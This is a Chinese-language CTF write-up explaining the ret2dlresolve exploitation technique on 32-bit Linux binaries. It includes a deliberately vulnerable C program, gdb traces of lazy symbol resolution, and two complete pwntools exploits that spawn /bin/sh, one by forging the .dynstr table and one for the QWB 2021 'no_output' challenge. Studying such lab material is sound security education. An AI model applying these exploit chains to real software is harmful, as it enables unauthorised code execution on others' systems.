源代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main() {
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
32 位 NO-RELRO
以如下方式编译源代码。
> gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_no_relro_32
NO-RELRO 意味着符号重定位表可篡改。
重定位
在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 函数来对动态链接的函数进行重定位。

下面将通过调试程序
main_no_relro_32,寻找 _dl_runtime_resolve() 函数的入口:
- 在
read@plt下断点
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0x80490a0 <read@plt>
gdb-peda$ b *0x80490a0
Breakpoint 1 at 0x80490a0
- 跳转到
0x804b2b8, 即read@got
[-------------------------------------code-------------------------------------]
=> 0x80490a0 <read@plt>: endbr32
0x80490a4 <read@plt+4>: jmp DWORD PTR ds:0x804b2b8
0x80490aa <read@plt+10>: nop WORD PTR [eax+eax*1+0x0]
0x80490b0 <strlen@plt>: endbr32
0x80490b4 <strlen@plt+4>: jmp DWORD PTR ds:0x804b2bc
- 第一次调用
read()函数时 got 表并没有它的地址,而是令程序流跳转到0x8049050,在这里执行push 0x8和jmp 0x8049030。
gdb-peda$ x/8wx 0x804b2b8
0x804b2b8 <read@got.plt>: 0x08049050 0xf7e5a6a0 0xf7de6df0 0xf7ebdca0
0x804b2c8: 0x00000000 0x00000000 0x00000000 0x00000000
-------------------------------------code-------------------------------------]
=> 0x8049050: endbr32
0x8049054: push 0x8
0x8049059: jmp 0x8049030
0x8:read 在 .rel.plt 节中的偏移为 8 (Maybe?)。
blog@blog-virtual-machine:~/Desktop/PWN$ readelf -r main_no_relro_32
Relocation section '.rel.dyn' at offset 0x368 contains 3 entries:
......
Relocation section '.rel.plt' at offset 0x380 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804b2b4 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804b2b8 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804b2bc 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
......
-
0x8049030:先将0x804b2ac处的数据入栈,然后跳转到0x804b2b0所存放的地址。
gdb-peda$ x/4wx 0x804b2ac
0x804b2ac: 0xf7ffd990 0xf7fe7b10 0xf7e40ef0 0x08049050
[-------------------------------------code-------------------------------------]
0x804902c: add BYTE PTR [eax],al
0x804902e: add BYTE PTR [eax],al
0x8049030: push DWORD PTR ds:0x804b2ac
=> 0x8049036: jmp DWORD PTR ds:0x804b2b0
| 0x804903c: nop DWORD PTR [eax+0x0]
| 0x8049040: endbr32
| 0x8049044: push 0x0
| 0x8049049: jmp 0x8049030
|-> 0xf7fe7b10: endbr32
0xf7fe7b14: push eax
0xf7fe7b15: push ecx
0xf7fe7b16: push edx
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xffffcf14 --> 0xf7ffd990 --> 0x0
0004| 0xffffcf18 --> 0x8
0008| 0xffffcf1c --> 0x8049237 (<vuln+65>: add esp,0x10)
0012| 0xffffcf20 --> 0x0
0016| 0xffffcf24 --> 0xffffcf3c --> 0x1
0020| 0xffffcf28 --> 0x100
0024| 0xffffcf2c --> 0x8049206 (<vuln+16>: add ebx,0x20a2)
0028| 0xffffcf30 --> 0xffffcf64 --> 0xf7dd918c --> 0x14c1
[------------------------------------------------------------------------------]
a.
0x804b2ac处保存的数据 (0xf7ffd990) 是一个指向内部数据结构的指针,类型是link_map_obj,在动态装载器内部使用,包含进行符号解析需要的当前 ELF 对象的信息。在它的l_info域中保存了.dynamic段中大多数条目的指针构成的一个数组。现在这个指针放在栈顶,可以看到下一个便是第一次访问read@got时放进栈中的0x8(即read()函数在 got 表中的偏移,也就是rel_offset)
b.0x804b2b0处保存的是函数dl_runtime_resolve(link_map_obj,rel_offset)的地址
- 小结
dl_runtime_resolve()函数只有在第一次访问 plt 表的时候才会进入,后续如果想再通过read()函数进入dl_runtime_resolve(),可以直接从0x8049054这个地址开始进 (详见 3. , 后面 exp 会用到这个地址)
FAKE ELF String Table
dl_runtime_resolve() 函数会根据 ELF String Table 中的字符串,去 libc 中找相应的函数。因此可以通过篡改相应位置的字符串来进行攻击 (比如将 "read" 改成 "system",那么调用 read() 函数时就会被 dl_runtime_resolve() 重定位到 system() 函数,变相执行 system())。但是不能直接在这张表上修改。
dl_runtime_resolve() 是通过 .dynamic 节中的 DT_STRTAB 字段找到 ELF String Table 的。而且,由于是 NO_RELRO,我们可以直接修改 DT_STRTAB 字段。那就不妨在 .bss 段找一个地址,伪造一张 ELF String Table,然后修改 DT_STRTAB 字段使其指向伪造的 ELF String Table,以此达到攻击目的。EXP
from pwn import *
#context.log_level="debug"
#context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")
main_fun = 0x08049240
# .bss
fake_strtab = 0x0804B2D0
DT_STRTAB_at_dynamic = 0x0804B1F4
p.recvuntil(b'Welcome to XDCTF2015~!\n')
rop.raw(112*b'a')
rop.read(0,DT_STRTAB_at_dynamic+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name(".dynstr").data()
dynstr = dynstr.replace(b'read',b'system')
rop.read(0,fake_strtab,len((dynstr))) # construct a fake dynstr section
rop.read(0,fake_strtab+110,8) # read /bin/sh\x00
rop.raw(0x8049054)
rop.raw(0xdeadbeef)
rop.raw(fake_strtab+110)
#print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(fake_strtab))
p.send(dynstr)
#gdb.attach(p)
p.send(b'/bin/sh\x00')
p.interactive()
32 位 Partial-RELRO
以如下方式编译源代码。
> gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie main.c -o main_partial_relro_32
> checksec main_partial_relro_32
[*] '/home/blog/Desktop/PWN/ret2redlsolve/main_partial_relro_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
首次调用动态库中函数的流程(部分)
从访问 plt 表到调用 dl_runtime_resolve() 函数的流程如下:
0x80490d0 <write@plt>: endbr32
0x80490d4 <write@plt+4>: jmp DWORD PTR ds:0x804c01c ; write@got
|
| gdb-peda$ x/4wx 0x804c01c
| 0x804c01c <write@got.plt>: 0x08049080 0x00000000 0x00000000 0x00000000
|
0x8049080: endbr32
0x8049084: push 0x20 ; * write@plt 相对于 .rel.plt 节的偏移, 即 rel_offset
0x8049089: jmp 0x8049030
|
| ; .rel.plt
| LOAD:080483A0 ; ELF JMPREL Relocation Table
| LOAD:080483A0 Elf32_Rel <804C00Ch, 107h> ; R_386_JMP_SLOT setbuf
| LOAD:080483A8 Elf32_Rel <804C010h, 207h> ; R_386_JMP_SLOT read
| LOAD:080483B0 Elf32_Rel <804C014h, 407h> ; R_386_JMP_SLOT strlen
| LOAD:080483B8 Elf32_Rel <804C018h, 507h> ; R... __libc_start_main
| LOAD:080483C0 Elf32_Rel <804C01Ch, 607h> ; R_386_JMP_SLOT write
| ; <r_offset, r_info>
| ; r_offset -> xxx@got.plt
|
0x8049030: push DWORD PTR ds:0x804c004 ; * 存放 link_map_obj
0x8049036: jmp DWORD PTR ds:0x804c008 ; 存放 dl_runtime_resolve 的地址
|
| # Stack:
| link_map_obj <-
| rel_offset
|
; dl_runtime_resolve(link_map_obj,rel_offset)
0xf7fe7b10: endbr32
...
结合这个流程,对照着 ctf-wiki 学习即可。注意各个 stage 所攻击的点位于该流程中的哪个部分。
例题
强网杯2021_初赛_[强网先锋]no_output
- 前戏
> checksec test
[*] '/home/blog/Desktop/PWN/qwb2021_no_output/test'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
文件资源:
- 逆向分析
首先是打开read_flag.txt,并将fd存在一个全局变量:
int open_txt() {
...
result = open("real_flag.txt", 1);
fd = result;
...
}
接下来是两个 read() 函数。
...
open_txt();
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src); // strcpy 被 '\x00' 截断,而且还会往 dest 后面补一个 '\x00'
v3 = "now give you the flag\n";
read(fd, src, 0x10u);
// off_804C034 存放的是字符串 "hello_boy\x00"
// check() 是字符串比较,两个字符串相同返回 0
result = check(src, off_804C034);
if ( !result )
result = sub_8049269();
...
可以看到:
dest 后面紧跟着 fd,我们可以利用 strcpy 自动补 \x00 的性质来将 fd 覆盖为 0。
.bss:0804C060 dest db 20h dup(?) ; DATA XREF: sub_8049424+72↑o
.bss:0804C080 fd db ? ; ; DATA XREF: open_txt+6C↑o
fd 被覆盖为 0 后,read(fd, src, 0x10u); 从stdin中读入 src 字符串,于是我们便可以输入 "hello_boy\x00" 绕过检查进入 sub_8049269() 函数。
__sighandler_t sub_8049269()
{
__sighandler_t result; // eax
void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
int v2[2]; // [esp+4h] [ebp-14h] BYREF
const char *v3; // [esp+Ch] [ebp-Ch]
v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
// 原本是 signal(8, (__sighandler_t)sub_8049236);
// 将 8 切换成 Enum
signal(SIGFPE, (__sighandler_t)sub_8049236);
v2[1] = v2[0] / (int)v1;
result = signal(8, 0);
}
return result;
}
ssize_t sub_8049236()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u);
}
此处 signal() 函数的作用在于:当发生除法异常时,执行 sub_8049236 函数(signal - C++ Reference),sub_8049236 函数中便是一个栈溢出了。由于 v1 不能为 0,我们令 v2 = -2147483648, v1 = -1,此时会发生除法溢出(int 类型的数据范围为:-2147483648 ~ 2147483647)。由于没有输出函数,用 ret2dlresolve 的方式来利用这个栈溢出漏洞。
- EXP
from pwn import *
context.log_level = "debug"
elf = ELF('./test')
sh = process('./test')
rop = ROP('./test')
# 这里很奇怪,好像放别的字符串都不行...
sh.send('\x00')
raw_input(">")
#gdb.attach(sh)
sh.send('a'*0x20)
raw_input(">")
sh.send('hello_boy\x00')
raw_input(">")
sh.sendline('-2147483648')
raw_input(">")
sh.sendline('-1')
raw_input(">")
# pwntools
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
# fit() 函数会自动填充,76 是溢出点,0x100 是 read() 函数的长度
sh.sendline(fit({76:raw_rop, 0x100:dlresolve.payload}))
sh.interactive()